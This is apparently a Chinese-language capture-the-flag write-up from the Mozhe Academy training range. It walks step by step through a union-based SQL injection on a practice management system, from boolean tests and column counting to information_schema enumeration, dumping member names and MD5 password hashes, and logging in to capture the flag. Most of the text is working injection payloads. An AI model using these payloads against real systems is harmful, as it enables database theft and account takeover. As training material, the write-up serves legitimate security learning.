墨者学院-XWAY科技管理系统V3.0

IP地址 : 124.70.22.208 端口 : 44703 协议 : http 其他 : [点击访问]

点击登录界面下的移动条幅

第一步，判断是否存在sql注入漏洞

构造 ?id=1 and 1=1 ，回车

正常显示

构造 ?id=1 and 1=2 ，回车

异常显示，初步判断这里可能存在一个注入漏洞。

第二步:判断字段数

构造 ?id=1 and 1=1 order by 1 回车 ， 在by 后 依次 输 1，2，3，4，5，

当到 ?id=1 and 1=1 order by 5 回车时显示异常，判断字段数为 4

第三步：判断回显点

构造 ?id=1 and 1=4 union select 1,2,3,4 回车

页面出现了  2 ,3 ，说明我们可以在数字  2,3  处显示我们想要的内容

第四步:查询相关内容

查询当前数据库名、版本名

构造 ?id=1 and 1=4 union select 1,database(),version(),4  回车

数据库的名：mozhe_Discuz_StormGroup

版本号：5.7.22-0ubuntu0.16.04.1

查询数据库mozhe_discuz_stormgroup中的表

语句：id=-1 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema=database()

获取到StormGroup_member,notice 这两张表。

接着去爆字段值

语句：id=-1/**/union/**/select/**/1,2,group_concat(name,id,password),4/**/from/**/StormGroup—_member

获得两条记录，密码是被md5加密，账号是mozhe，

mozhe1356f589a7df439f6f744ff19bb8092c0

mozhe18d30ea5ff534319652f548256aeb67b2

尝试去登录，发现第一个号被禁用了

接着去登录第二个，成功登录进去，获取到flag.